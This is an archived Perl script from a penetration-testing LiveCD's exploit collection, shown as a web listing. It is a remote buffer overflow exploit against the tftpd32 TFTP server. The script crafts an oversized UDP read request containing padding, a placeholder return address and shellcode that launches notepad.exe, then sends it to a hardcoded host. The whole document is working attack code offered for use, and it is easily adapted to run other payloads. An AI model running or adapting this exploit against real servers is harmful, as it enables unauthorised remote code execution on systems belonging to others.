home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / tftp / tftpd32 / tftpd32-exploit.pl < prev   
Perl Script  |  2005-02-12  |  1KB  |  39 lines

  1. #!/usr/bin/perl
  2. #TFTP Server remote Buffer Overflow
  3. use IO::Socket;
  4. $host = "192.168.1.53";
  5. $port = "69";
  6. $data = "A";
  7.  
  8. #$buf .= "\x00\x02"; # Send ---- Choose one
  9. $buf .= "\x00\x01"; # Recieve
  10.  
  11. $buf .= "A";
  12. $num = "116";
  13. $buf .= $data x $num;
  14. $buf .= ".";
  15. $num = "140"; # EIP section
  16. $buf .= $data x $num;
  17.  
  18. $address = "\xFF\xFF\xFF\xFF";
  19. $buf .= $address;
  20.  
  21. $egg = "\xEB\x27\x8B\x34\x24\x33\xC9\x33\xD2\xB2";
  22. $egg .= "\x0B\x03\xF2\x88\x0E\x2B\xF2\xB8\xAF\xA7";
  23. $egg .= "\xE6\x77\xB1\x05\xB2\x04\x2B\xE2\x89\x0C";
  24. $egg .= "\x24\x2B\xE2\x89\x34\x24\xFF\xD0\x90\xEB";
  25. $egg .= "\xFD\xE8\xD4\xFF\xFF\xFF";
  26. $egg .= "notepad.exe";
  27.  
  28. $egg .= "\x90\x90\x90\x90\x90\x90";
  29. $buf .= $egg;
  30.  
  31. $buf .= "\x00binary\x00";
  32.  
  33. $socket = IO::Socket::INET->new(Proto => "udp") or die "Socket error:
  34. $@\n";
  35. $ipaddr = inet_aton($host) || $host;
  36. $portaddr = sockaddr_in($port, $ipaddr);
  37. send($socket, $buf, 0, $portaddr) == length($buf) or die "Can't send:
  38. $!\n";
  39. print "Now, '$host' should open up a notepad\n";